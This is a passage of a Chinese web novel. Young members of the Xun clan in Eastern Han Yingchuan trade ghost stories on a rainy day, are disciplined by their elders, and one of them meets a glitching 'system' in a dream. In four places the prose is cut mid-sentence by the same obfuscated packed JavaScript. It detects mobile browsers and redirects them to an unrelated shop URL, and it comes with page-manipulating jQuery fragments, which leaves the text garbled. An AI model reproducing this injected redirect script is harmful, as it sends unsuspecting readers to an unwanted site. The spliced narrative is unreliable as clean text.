这时节的温度不冷不热,适合孩童就学,也适合办公。 不知不觉中,微风从半开的门外吹过,逐渐夹杂了几分寒意,庭中树木的树叶沙沙作响,逐渐变为拍打的啪啪声,像是有无数手掌在空中相击,等荀彧发现室内光线暗到难以看清文书上的字迹时,一场雨已经不期而至。 为了避免沾湿室内文书,荀衍起身把门窗都合上,点起了灯烛,才发现两个孩子不知何时坐到了一起,正趴在案上说着些什么。 荀愔倒也罢了,荀彧一向端方,极少会显露这样不顾仪态的一幕。荀衍见此,也不由得一笑,没再压着他们处理那堆本该由他们这些大人处理的东西,只自己坐回座位,继续之前的工作。 两个孩子说了些什么呢,连他们自己都记不太清了,不过是有一搭没一搭地闲话,从邻家的小黄狗说到“天地不仁以万物为刍狗”,从草编蚂蚱说到“夏虫不可语冰,井蛙不可语海”。 说到最后两人渐渐都息了声响,荀衍从文书中抬头望去时,发现原来都已经睡着了。 雨天适合读书、办公,当然也适合睡觉。 “阿昭——”合上的纸门突然被人推开,荀琨打着伞出现在账房外面,第一眼看见的却不是荀愔,而是比着手指,示意他噤声的荀衍。 “嘘,嘘!两个孩子还在睡觉。” 荀琨有些尴尬,他收了伞,蹑手蹑脚地进入室内,看了一眼那两个孩子,轻声问荀衍:“怎么阿彧也在?” 他是听说荀衍抓人抓到了荀愔头上,才过来解救人的,没想到荀衍连自家幼弟也不放过。 荀衍不理会他,如果不是荀怀琛打着钻研乐书的旗号,他实在找不到人分担,怎么也不会把两个孩子抓来算账。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412178|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,看看,多可怜,都累得困成什么样了。 荀琨看看熟睡的弟弟,又看看低头忙碌的荀衍,多少有些良心不安,主动提议:“那我等着也是无事,我帮你处理一部分吧。” “阿昭,阿昭!” 荀琨刚刚坐定,刚合拢不久的纸门“刷拉”一声又被推开,荀悦的长子荀虑抱着一筐竹木出现在门外,被荀衍、荀琨两人嘘声制止。 “小点声,孩子在睡觉!” 荀虑借着烛光看清了两个孩子的睡姿,“啧”了一声,小声道:“这样应该不太舒服吧,怎么没抱两位叔父去榻上睡?” “阿彧觉轻。”荀衍解释一句,催促他,“快进来,关好门,不然雨水要飘进来了。” 荀虑轻手轻脚地合上门,自觉地坐在荀衍身边,主动将一部分文书抱了来。 嗯,还是侄子孝悌,荀衍十分满意,觉得荀氏的下一代有望。 “阿昭。” 门第三次发出响动,不过这次的声音小许多,荀攸不快不慢地拉开门,发现小小的室内居然挤了五个人。 荀衍三人挤在一角局促办公,两个孩子猫一样挤在另一角睡得昏天黑地。 面对这一幕,荀攸沉默了片刻,然后轻声问:“几位是被雨困在这里了吗?” 荀衍简直要扶额。荀愔是什么忙人,为什么短短一会儿就有这么多人来找他? “公达。”荀琨向荀攸招手,“既然来了也别走了,闲着也是闲着,跟着休若办公吧。” 荀愔在雨声之中慢慢转醒时,天色仍然阴沉地看不出时分,室内点着柔和的烛火,烛火之下是四双熟悉的眼睛。 荀愔:“……” 荀愔重新趴了回去,正对上了荀彧已经清醒的眼睛。 “我在做梦吗?”荀愔小声问。 “我猜不是。”荀彧小声回答。 事实上,在荀琨来的时候,荀彧就被惊醒了,但是睡意太沉,雨声太过于助眠,所以他放任自己重新沉入梦乡。 但他没想到,再转醒时,室内会不止多出荀琨一个人。 事情是怎么变成这样的呢?不过既然荀攸都在这里,文书应该也被处理得差不多了吧。 因为距离很近,荀彧衣服上新熏的香和荀愔身上的草药苦气混合在一起,闻起来十分奇异。 倒不是难闻,只是少见,闻起来非花非木,像是匣内见过血的铁器。 “既然醒了便起来,再睡下去,晚上就睡不着了。” 荀衍的声音唤回了荀彧的思绪,他直起身时才感觉到手臂的酥麻,好在年纪小,脖颈和后背倒还没有什么感觉。 难得一次的失礼却被家里这么多人看见,荀彧感到有些脸热,起身一一和兄长侄子见了礼,回头去看荀愔,却见他在望着窗扇出神。 荀彧疑惑:“阿兄?” 荀愔将视线转回,越过那盏跳跃不止的灯火,对上众人的视线,兴奋地提议道:“我们来讲鬼故事吧!” 众人:“……” 8. 无头宫人 风雨如晦,烛影憧憧,的确是个适合干点坏事的环境。 荀愔的提议离奇且跳跃,但荀衍看看已经被处理得差不多的文书,觉得反正现在还在下雨,出去会沾湿鞋袜,又还不到餔食的时间,那在此待上一会儿也不错? 在座的俱是博闻强识之人,即便是两个年纪稍小一些的孩子平日也有聪慧之名,写策论还有些稚嫩,编些故事却是不成问题的。 荀琨对于这些游乐之事一向热衷,当下兴致勃勃道:“我第一个来!” 他所讲述的故事发生在先秦时期,一户士大夫家中。 “因为这位士大夫是宋国人,所以不如我们叫他宋甲。宋甲的父亲是位将军,因为征战受伤早早去世,他死前最后一次上战场时,带回来一个美貌女子,纳为妾室,然而成婚不过三日就因旧伤复发死去,这美貌女子因而一夕之间做了寡妇。” 荀衍眉梢微动,这个开头……他瞪了一眼荀琨,这里还有两个孩子,荀攸、荀虑也还尚未及冠,你小子讲故事给我注意一些! 荀琨轻咳几声,连忙表清白:“故事里绝对没有违反伦理的事,我不是要讲这个!” 荀衍这才放下心,示意他继续。 “宋甲是个君子,也是个孝子,我保证绝对没看上他的庶母!但因宋父已经去世,这女子在宋家并无子嗣,所以宋甲有意送其还家再嫁,可这女子却拒绝了,理由是她腹中已经有了宋父的孩子。 “这当然是一件好事,这女子自此留在宋家待产,肚皮一日日涨了起来,不过五月,肚子便如要临产一般,众人都说她腹中所怀必定是双生子。可宋甲却渐渐起了疑心。 “不因其他,只因寻常妇人怀一个孩子就已经足够辛苦,可这女子明明身怀双胎,却脸色红润如常,连行动间也略无困难,健步如飞。当然,只凭一点,并不足以证明女子的怪异,万一她只是体质格外好些呢? “但接下来发生的事情却绝对违反了人的常识。” 荀琨神神秘秘道:“你们猜,是发生了什么?” 诸荀面无表情看着他,脸上表露出的意思出奇一致。 要讲就讲,卖什么关子! “啧,好没意思啊你们。”荀琨对兄弟们的不捧场表示了十足的嫌弃。 “原是这女子突有一日,肚皮突然瘪了下去,像是从未怀过孩子一般,宋甲追问她时,她却面露茫然,称自己从未怀孕。 “宋甲于是拉着她去寻其他人对质,然而那些见过女子孕肚的人也齐齐表示,夫人从未怀孕,莫不是主君记错了,或梦魇了吧。 “第一个人这样说时,宋甲尚且可以激烈辩驳,可当第十个人也这样说时,宋甲也不由得对自己的记忆产生了怀疑。难道真是自己记错了?” 荀琨不死心,想寻求一些互动:“你们猜,是宋甲记错了,还是那女子有问题?” 荀虑以正常思路回答:“三人成虎,人言不可尽信,是那女子有问题。” 荀衍刻意反其道而行之:“世上有一种痴病,得病者会假想一些从未存在过的事物,也有可能宋甲正是得了此病。是宋甲存在问题。” 荀攸细细思量:“或许其中存在些未知的阴谋。那女子进门三日,丈夫便病逝,这样短的时间里纵使日日相对,怀孕几率何其渺小,或许她本就无孕,只是想凭借这个理由留在宋家。 “如此可以解释她为何会在怀孕后仍面色红润,健步如飞。至于其余那些人……或者是买通了,或者是知道实情,帮着女子隐瞒了事实。” 荀彧:“若按公达思路,事情也可以是宋甲暗害那女子,指使他人改口,而女子为了自保,只好顺从他意。虽然怀琛兄长说其是君子,然君子未必不会改变,家产、族荫都有可能成为他痛下杀手的理由。” 荀琨没想到几人居然能给出意料之外的答案,笑着看向荀愔。 “阿昭?只有你没说话了,你觉得呢?” 荀愔问:“需要和几位亲人不一样吗?” 荀琨感兴趣道:“这故事还有其他可能性?” “嗯,有的。”荀愔点头,“这是个鬼故事,故事中的任何人都有可能是那个鬼,故而故事外的人猜女子是鬼,猜宋甲是鬼,猜改口称女子从未怀孕的其他人是鬼,唯独忘了一个已经成为真鬼的人——宋父。 “宋父能为儿子挣下士大夫之位,必然功勋卓著,这样的一位将军为何在战场纳妾,又为何纳妾短短三日后就旧疾复发,如果较真地想一想,其实都极为可疑,若只论其余可能,为何不能是宋父自知即将死去,怀着利用之心寻了这女子,又在死后还魂,寄托在女子身上,蒙蔽了其余人的认知呢?“ 荀琨拊掌大笑:“比起诸位的猜测,我原来准备的结局居然毫无光彩,想来只觉味同嚼蜡了啊。” 荀虑好奇:“所以原本的后续是什么?” “女子有问题,她原是战场怨魂,迷惑宋父之后害其性命,又欲害宋甲性命。” 这倒是不出众人所料。 “下一个谁来?” 一个令人意外的人举起了手。 荀攸:“我来。” 荀攸的故事发生在王莽当政时期,那时他尚且保留了一分谦恭谨慎,受封“安汉公”。 “高祖斩白蛇起义,自号赤帝子,兴炎汉四百年,绵延至今,其间虽有宵小妄图逆天而行,篡夺……” “咳咳。”荀琨轻咳,提醒荀攸,“公达,讲重点,我们这是鬼故事会,不是讲史会。这里都是家里人,不必要的铺垫和免责声明可以少一些。” “好。”荀攸从善如流,直接砍去这节,直入主题道,“王莽既起,常宿于宫闱内院,行止狂妄,沾染宫中无辜女子。“ 虽然觉得荀攸不是不靠谱的人,但听见这么个开头,荀衍还是不得不出声提醒:“公达,我们这儿还有两个孩子,荀虑还未加冠。” 绿色,讲故事务必要呵护未成年人身心,绿色啊! 荀攸点头:“我了解,故事里没有违反纲常的内容,王莽确实看上了宫女,但我们可以安排他不能人道。” 荀愔:“……” 荀彧:“……” 荀虑:“……” 对于这段荀攸临时加的补丁,满意的只有荀衍。 荀攸继续道:“王莽不能人道还看上宫女,行径更为可恶,反抗其暴行的宫女不计其数,尽皆无辜惨死,被因不能得手而行事愈发酷烈的王莽斩首,埋在宫墙之下。” 荀琨吐槽:“他不行他还有理了,果然可恶!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412179|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这是重点吗,这是重点吗!荀怀琛你给我闭嘴!”荀衍暴躁捂嘴,手动封号。 “经年累月,宫墙之下是重重白骨,怨气冲天。王莽篡汉之后的某一日,暴雨降临了京都长安,雨水三日不绝,淅淅沥沥,淅淅沥沥…… “听,就像窗外这样,一点,一点……冲刷出了墙根下的森森白骨。” 荀攸是个讲故事的好手,尤其擅长结合现实烘托气氛,“白骨”二字一出,荀愔感到自己的衣袖一紧,显然是被一旁的荀彧捏住了。 “那些白骨生前俱是红粉佳人,死后却也不过是一具具骷髅,她们有些还残存几分皮肉,空洞的眼眶里无声地注视着苍天,控诉着不公,有的却已经腐败成一堆骨头。 “她们的出现惊动了王莽,他随即命人连夜埋尸,甚至从宫外运来土,想要把尸骨回填,然而不论他们前一日如何努力,第二日的白骨总会在大雨的冲刷之下再度露出地表。 “淅淅沥沥,淅淅沥沥,长安的大雨像是没有停歇,终于!” 荀愔衣袖再次一紧,他这次不能当做没发现了,一只手默默摸了过去,把自己已经满是褶皱的袖角从弟弟手里抠出来,然后握住了他的手。 荀彧低垂的眼睫抖动一瞬,然后默默回握。 公达真坏啊,荀愔想,他简直是把控人心的一把好手。 “绵延的宫墙渗出了黑血,像是无数个女鬼的血泪汇聚在一起,在宫墙上形成了四个字——篡汉者亡。” 突如其来的政治正确把还沉浸在恐怖故事气氛里的众人给打了个措手不及。 啊这,阴间故事里突如其来的汉臣正气是怎么回事?! 众人无语凝噎,看着荀攸面北而拜,道一声“苍天佑我大汉”后重新回到席位,讲述接下来的故事。 “谶言的出现终于激怒了王莽,他连夜拆了宫墙,又将尸骨全部丢出宫去,原以为可以就此得到安宁,岂料没了白骨,没了血墙,却是真正噩梦的开始。 “宫里开始频频出现怪事,起先是有巡夜宫卫发现王莽寝宫之外时常出现人影,追到近前又总不见人,这事惊动了未央卫尉,卫尉于是派人埋伏在人影经常出现的地方守株待兔,终于在一个月圆之夜等到了人影,月光之下,那人影的一切清晰可见,到这时,宫卫们才惊恐地发现,她们…… “没、有、头。” 荀衍一个倒仰,差点把荀琨一并带倒,而荀虑则默默往叔父身边靠了靠,完全不敢继续和荀公达坐在一起了。 而荀愔,手差点断了。 “她们提着旧时的宫灯,成排结对地在王莽的寝殿游荡,倘若你再近前些,便可发现,她们提的哪里是宫灯啊,分明是一个个——” 荀攸语气放轻了,冲着荀愔的方向缥缥缈缈地吐出三个字:“美人头。” “娘啊!”荀虑一个回头撞进荀衍怀里,吓得哭爹喊娘。荀衍差点没被侄子撞断了气,连忙制止荀攸。 “可以了!公达,故事讲到这里就可以了!” 荀攸保持正襟危坐的姿势,顺从地点头:“没事,我已经讲完了。” 荀愔转头看向荀彧,他倒还十分镇静,像是并未被这最后一记精神攻击波及到——假如自己的手没有被握到发白的话。 9. 蓬莱仙船 荀攸的故事后劲太大,众人一时没缓过劲来,室内安静无言。 “故事里的长安,雨下了多少天?”荀愔突然开口,关注点清奇。 然而更加清奇的是荀攸的回答,他居然真的有设定一个具体数字:“十天。” 荀愔点头:“大到能把尸骨冲刷出来的雨连下十天,那渭水该暴涨了。” 荀攸同意:“但以当时的长安附近堤坝状况,尚且能够支持,不至于水淹长安,再多几天就不行了。” 一旁的荀虑没绷住,所以荀攸设定故事背景居然还考虑长安百姓的生死问题?! “好,下一个谁讲?”荀琨问。 荀衍默默接过接力棒:“我来吧。” 荀攸的发挥实在出常,让他一时不敢再让其他人讲故事,还是他来吧,最起码他知道自己决计讲不出荀攸那个效果。 荀衍的故事发生在一个不存在的朝代,故事的主人公是一个落魄士族家庭中的公子。 “从祖父那一代起,这公子的家族就已经难以为继,在饥寒交迫之中,他的亲人相继离世,偌大一个家族,到最后居然只剩他一人。而他势单力薄,连祖宅田产都没能保住,流落街头后,最终寻到一处破道观落脚,总算能有片瓦遮身。 “因是破道观,又建在山中,附近常有野兽出没,狼、虎、野猪,不过最常出现的还是狐狸。” 说到一半,荀衍突然问:“你们知道狐狸是怎么叫的吗?” 这问题倒是把众人问住了,他们所住的地方是高阳里,又不是什么山沟沟,平日也少行游猎之事,怎么知道狐狸是怎么叫的。 唯独荀愔神色稍动,引起了荀衍的注意。 “呃,狐狸叫……大楚兴,陈胜王?” 荀衍:“……“ 荀琨看热闹不嫌事大,一拍大腿:“有道理啊阿昭!” 荀衍忍无可忍:“荀怀琛!” 短暂的混乱被荀衍按下,他继续讲道:“某一日,他自山中遇到一处猎人设置的险境,从中发现了一只摔断了腿的狐狸,公子本不想管,但是狐狸的哀戚惨叫引起了他的恻隐之心,他因此将狐狸救出,又寻来了草药夹板,为狐狸医治断腿,而那狐狸也仿佛很有灵性,竟也不怕他,与他住在破道观之中,时间久了,竟有些相依为命的意思。 “然而公子毕竟是人,眼见仕途无望,人生一眼看得到头,他也不由心灰意冷,更因身边无一知冷热的人,觉得人生寂寥,便常常喝得烂醉如泥。然后,狐狸在某一日消失了。” 连荀虑都听得出这故事的后续了。 “狐狸变成个美娇娥,嫁给了这公子,然后公子某一日惊恐地发现,爱妻是狐狸变的?” 荀衍:“不,公子说,为夫早就知道,爱妻是狐狸变的。自遇见你,我见天下女子都少了一根尾巴。“ 好家伙,这居然还是个纯洁的爱情故事。 大概荀休若是个纯爱战士这一点让众人一时都很难接受,室内良久无人说话。 “下一个呢,谁来?”荀彧开口问。 荀愔诧异望向他,以眼神无声询问,你不怕? 荀彧微微侧头,笑容完美无瑕。仿佛之前所有全是荀愔的幻觉。 好吧。 荀愔开口:“我来吧。” 荀愔的故事发生在一个不必有名的朝代,可以是先秦,可以是前汉,这并不重要,反正主要地点只是一条船。 “大河之上有一条高达百丈的巨船,无人知道它何时被建造,无人知道谁人在掌控船舵,也无人知道它要去往何方,但传言那是一条仙船,只要登上它,就可以去往海外蓬莱仙岛,求得登仙之机。” 这可能是迄今为止,开头最健康的故事,连荀衍都没有发表意见。 “故事的主人公叫做王五,他自小向往仙缘,一心想要登上仙船,他舍弃家族,舍弃妻子儿女,一日日驾着小船在大河上游荡,终于看到了仙船。可当他欣喜若狂,不顾一切登上仙船之后,却发现得到这份仙缘的居然不止自己一人,还有张三、李四、牛六、马七、朱八几人。 “非常不公的是,这些人他们全是附近村民,是撞了大运,偶然登船。他们没有付出过王五那样的努力,只凭借着运气获得了与王五一样的东西。” 荀彧渐渐松开了荀愔的手,荀愔于是将那只手抬起来,活动了一下,觉得有些麻痒,便一边活动手指一边继续讲述。 “王五起了杀心。他在登船之后,发现这条船虽然雕梁画栋,但船上并无管理者,这也就意味着,即便他把其余同行者杀光了,也不会有人发现,更不会有人惩罚他。 “登船之后的第一天,他杀死了张三,将尸体摆在了最惹人注意的地方,成功地引起了其余几人的恐慌。他们不知道谁是凶手,于是只能彼此防备,看谁都像是那个丧心病狂的杀人者。” 荀衍“啊”了一声,叹道:“一个人性相疑的故事。” “是的。”荀愔点头,“在王五的诱导和操纵之下,李四、牛六、马七、朱八彼此相疑,在乱战之中彼此杀伤,在气息奄奄时被黄雀在后的王五收割走了性命。 “王五成功了,他终于能够独占这份仙缘,他以为自己将踏上一条通天大道。” 荀彧突然出声:“但是。” “对,但是。”荀愔笑了,“一切妄想终结在‘但是’之前。” “第二天,张三、李四、牛六、马七、朱八面色如常地出现在了船上,仿佛没有之前的那场死亡,一切像是王五的一场幻想。他不能忍受这样的事,故技重施。这次他做绝了,把几人的尸首都抛下了仙船,让他们被大河河水吞没。但是第三日,几人再次出现在了船上。” 荀攸听明白了:“他重复杀了他们多少次?” 荀愔:“很多次,杀到麻木。但不论他如何做,是把尸首抛下船,还是切成肉泥,第二日他们总会毫发无伤地出现在船上。他开始怀疑这一切是个阴谋,这五人根本不是什么撞大运的村夫,而是鬼。” 荀攸:“这船听起来不像仙船。” 荀愔:“不,船当然是仙船,如假包换。” 荀彧:“仙船上为何会有鬼?” 荀愔:“人死在仙船上,当然会出现鬼。” 荀攸不再发问,于是荀彧向荀愔颔首,示意他继续讲下去。 荀愔组织了一下语言,继续道:“如果仙船永远这样行驶下去,王五的执念会支持着他无数次的杀下去,可惜船是有终点的。七七四十九天之后,船靠了岸。从船上望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412180|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,目的地果然烟雾缭绕,一片仙境之景,王五看着张三五人欢天喜地下船,自己也要登岸时,发现自己无论如何都上不了岸。 “他惊慌失措,难道是我在船上的恶行被仙人发现了吗?我滥杀无辜,所以触怒了仙人? “不是的。王五后知后觉,他不是因为滥杀无辜而无法登岸,而是因为他已经是个死人,所以才无法求仙问道。 “毕竟……自来只有人求仙,几时听说鬼得道?” 这突如其来的转折令人意外,荀愔虽然不是讲故事的好手,但的确是编故事的好手。他顺着自己的思路讲了下去。 “王五早已在登船之后便死去,张三五人乃是同乡,遇见个势单力孤的异乡人,如何能够容他?只是王五忘了这一事实。 “仙船当然是仙船,它甚至奢侈地为死在其上的每个鬼魂编织了美梦。梦里,鬼可以获得一切他所渴求的,不巧的是,王五的渴求从成仙,变为了排除异己,所以仙船慷慨地让他在梦里杀了张三等人无数次。” 荀衍问:“张三等人乃是杀害王五的凶手,即便王五恶贯满盈。可杀人就是杀人,令杀人者登仙的仙船算什么仙?” 荀愔:“天道不仁,以万物为刍狗。” 天将万物一视同仁,人在至高无上的天眼中,与世上的其余生灵又有什么不同呢? 荀衍一愣,而后失笑:“真是令人失望的仙人。” 荀攸:“王五从幻境中醒来后就不会再陷入幻境,他无论从哪一方面都不再是一个人,让他继续留在船上会害死下一批求仙问道的人。” “安排一个人杀死他吧。”荀攸说,“为了故事里的人能够免受王五的毒害。” 荀愔:“好,那就让下一个登船之人杀死他?” 众人没有异议,于是荀愔安排了一个剧情杀,杀死王五。 “苟九杀死了王五,可由于仙船的特殊性,不到终点,谁都不知道他有没有成功。因为即便失败了,仙船也会怀着它那有毒的善意,告诉苟九他成功了。那么王五有没有死呢?” 荀攸意识到了一件事:“如果王五还在,苟九也变成了鬼,那么他就会从勇士,沦落成为王五的同党。” 这个房间里已经有人跟不上了,荀虑和荀琨不知道他们在打什么哑谜,荀衍虽不开口干预故事走向,却始终在认真听。 他苦笑:“这条船似乎在王五登上之后就好不了了似的,正也是鬼,反也是鬼。” “仙人并不公正,仙船自然好不了。” 荀彧:“安排下一个人,苟十也好,张十也好,若他也杀不了王五,就不断接引下一批人,总会有人成功。” 荀攸摇头:“这无异于拿人命填一口没有尽头的深谷。” 荀彧:“总有人要去做这件事,也总会有人愿意去做这件事。” “那你呢,你愿意吗?”这问题尖锐得不像是荀公达能说出的话。 荀彧困惑地看了荀攸一眼,回答道:“你我现在都是故事的缔造者,而非故事中人。” 荀攸这才意识到了自己的言语失矩,愣了愣,低头道歉:“对不起,小叔父,我……“ 但没等他说完,突然听见荀彧说:“但若我真的成为故事里的人,我愿意。” 10. 鬼灯一线 荀衍出声打断:“够了!不过是个故事,你们俩打再多机锋又有何意义!“ 说罢,荀衍转向荀愔,目含警告:“阿昭,随便你怎么编,给我结束这个故事。” 荀愔无辜受害,皱眉想了很久,才开口:“苟九的成功与失败在船没有到终点之前都是个未知数,我们可以把这种状态命名为薛定谔的,不是,‘仙船的苟九’。 “即没有引入观察者之前,苟九处于生与死之间,处在可能活可能死的状态之中,但一旦引入观察者,苟九的生死就是个固定的状态。” 荀衍难得爆了粗口:“荀愔你在说什么屁话?” 荀琨目光惊恐地看着这位兄长,仪态啊,修养啊,休若阿兄! “我在想,阿兄你等我顺一顺思路。”荀愔也知道自己在说昏话,但人的思路就是这样,有时发散,有时凝练。 他想了片刻:“苟九既成功也失败了,成功是因为他杀死了王五,失败是由于他也死在船上,成为下一个‘王五’。 “然而世事的有趣之处正在于此,在一代一代的前仆后继之中,总会有人全然成功,即杀死船上所有鬼魂,自己活着登岸;也会有人如苟九这样,只成功一半;更多的全然失败,成为‘王五’的帮凶。 “但没关系,他们只需要碰见一个全然成功者,之前累计的所有失败就会清空。 “而在过了许多年之后,或许是两千年后,仙人一点点改变,这并非是它生来就有向好的趋势,而得益于无数个登船人的前仆后继。 “终于有一天,一个人来到了船上,他不是独身一人,他带着船外所有的世人,他是全然的成功者。” 荀攸笑了:“船不过百丈,他怎么能带那么多人?” 荀愔:“也许我们一开始就是错的,船毕竟是仙船,本就可以承载世间所有人,登船的也不该只有一个人呢? “这个两千年后的全然成功者的成功并非他一人之力,而是千千万万的人,他们的成功终于扭转了‘令人失望的仙人’。这才是这个故事真正的结局。” 荀衍的气逐渐消了,他摇头失笑。 “孩子话。” 烛火摇动之中,窗外的夜雨逐渐停止,荀衍这才注意到时间早过了餔食的时间,脸色大变。 坏了,他们在这儿讲了这么久的鬼故事,居然一直讲到夜半! 这件事一定已经传入几位叔伯的耳中,他这个年纪最长的恐怕无论如何都逃不过一顿训斥了。 荀衍纠结是该主动去叔伯那里坦白从宽,还是抗拒从严时,听见荀愔悄悄对荀彧说。 “其实故事还有另一种可能,王五在登船时就不是一个活人了。他在大河上行船那么久呢,大河之水何其汹涌凶险,他说不定早就在某处船只倾覆,成了亡魂。” 荀彧:“鬼也能登船?” 荀愔:“怎么不能呢?只要他披上人皮,世道,不是,我是说‘仙人’那么眼瞎,说不定就会让这只鬼登船。” 荀攸也默默凑了过来。 “如果王五一开始就知道自己是鬼,还会陷入仙船给的幻觉中吗?” 荀彧:“应该不会,他如果能在仙船始终披着人皮,就不会得到仙船的‘善意’,自然所见所杀都是真实。” “这种方式若可行,那苟九完全可以骗一骗王五,骗他自己也是个披着人皮的鬼,他可以在登船后这样说。” 荀愔将食指竖到唇边,唇色殷红,指节凝白,跃动烛火发出的微光打在他潋滟的眉目间,将他映衬得有几分阴晴不定。 “嘘——你怎么知道,我是不是人呢?” 子不语怪、力、乱、神。 魑魅魍魉、妖魔鬼怪之事难以捉摸,故圣人语常不语怪。 荀氏长辈虽然开明,但当听说荀衍这个向来叫人省心的孩子居然带着子侄闭门开鬼故事会,以至于错过晚饭,也不由得为之默然,继而拿起了许久不用的戒尺。 当天的高阳里各处都传来了训斥孩子的声音,其中尤以荀绲家动静最大。 听着隔壁院墙外传来的斥责声,荀愔只能在心中默默为荀衍点蜡,因为他此时也在受罚,领了十戒尺之后,荀肃要求他跪在先祖像前静思己过。 这其实并不是太严厉的惩罚,荀愔膝盖下面不是坚硬的地板,而是草垫,跪久了也并不疼痛,只是感到无聊。 荀肃坐在上首看书,眼角瞥见荀愔已经开始神游天外,原本跪得挺直的腰板也弯了下来,不由心内一叹,仔细收好竹书之后道:“天色已晚,我先回房,你在此再待半个时辰便也回去吧。” “是。” 荀肃放水放得慷慨,荀愔却不好意思懈怠了,他重新跪直,真的跪满了半个时辰之后才起身,只是因为腿长期保持一个姿势不动血脉不通,起身时差点摔倒。 从静室出来时时间已经很晚了,月亮爬上了天空,或许是刚下过一场雨,天空无云的缘故,今夜的月光格外明亮,将庭院里的一切都照得清晰无比。 时下照明手段匮乏,灯烛昂贵,故而乡人都遵循着日出而作日入而息的规律生活,荀氏族人虽然不至于用不起灯油蜡烛,但因为身处乡中,俭省惯了,也多已熄灯入睡,这种情况下,院门外传来的几声门环声就格外明显且奇怪。 荀愔为了避开雨后潮湿的泥土,只能小心地踩在石板上,行动难免不便,只听“吱嘎”一声,早荀愔一步的老仆已经从另一边的廊下绕过去开了院门。 院外站着的,不是来找荀肃夜谈的叔伯,而是一个熟悉的小小身影,他抱着木枕、薄被,坦然地看过来。 “……阿彧?” 荀彧虽然年纪小,但是自理能力超群。被荀愔领到内室之后,不必仆从帮助,他便很快铺好了自己的铺盖,摆好了木枕。 借荀愔的水盆洗漱之后,荀彧钻进了被窝,乖巧地露出一个头。 虽然他自称是因为家中大人管教过于严厉所以出走,跑来与荀愔合宿,但荀愔对此持保留意见。 因为这理由实在不走心,以荀彧的脾性,决做不出这种躲避惩罚的事。 所以是因为白日听的鬼故事感觉害怕了对吧?闭上眼群魔乱舞,睁开眼一无所有,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412181|200684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭上眼感觉鬼已经近在眼前呼吸可闻…… 荀愔善解人意地没有揭破,沉默着洗漱,沉默着熄灭灯烛,沉默着钻进被窝,然后躺在榻上越想越觉得好笑,在黑暗中笑出了声。 荀彧:“……” 荀彧有些羞赧,还有些被嘲笑的恼怒,翻过身背对荀愔,身后却有一个热源凑了上来。 熟悉的药苦气渐渐充斥鼻腔,荀彧本以为荀愔要说些什么来哄人,然而等了许久都没等到,回头一看,荀愔已经睡着了。 单就睡眠质量而言,不知多少人要羡慕荀愔。 在荀愔规律的呼吸声中,荀彧渐渐也有了睡意。与阿兄一起,之前萦绕在脑海的什么宫墙血书,什么无头宫女仿佛也离他远去。 月凉似水,窄榻上两个孩子头靠着头睡在一起,连呼吸节奏也逐渐统一。 “哗啦——哗啦——” 圆满无缺的一轮明月之下,潮水一层层往岸上涌来,漫过荀愔的脚踝之后又卷着沙砾退去,起伏之间居然有几分温柔。 荀愔行走在岸边,迷惑地看着天空中的圆月,和月光照耀下的银色海面。 颍川在内陆,属于天下十三州之中的豫州,距海十万八千里远,他自出生之后到过最远的地方不过是荆州的南阳郡。 人无法想象自己没有见过的事物,那么他怎么会梦见自己没有见过的海? 正疑惑间,荀愔突然听见了一道陌生声音。 【滴——检测到生命气息】 【检测到活体生物,定义为人类男性,无绑定痕迹,可以作为宿主】 【开始投放,定位时空为东汉熹平年间,地点为颍川郡颖阴县高阳里民居】 【初始化……载入模块……渲染场景,载入失败,重新载入……数据丢失】 【遭遇乱流,警告!关键模块丢失,警告!】 荀愔迷惑地注视着半空中跳动的光团,听它在耳边不断重复着两个词。 警告,丢失。 每发出一声,光团就跳动一下,姿态从最初的轻盈逐渐变得半死不活,最后连动一下都像是垂死挣扎。 “你是什么东西?怎么会来我梦里?” 荀愔知道自己这时候不该出声引起光团的注意,但他怕自己再不问,这莫名其妙出现的东西就自己把自己弄死了。 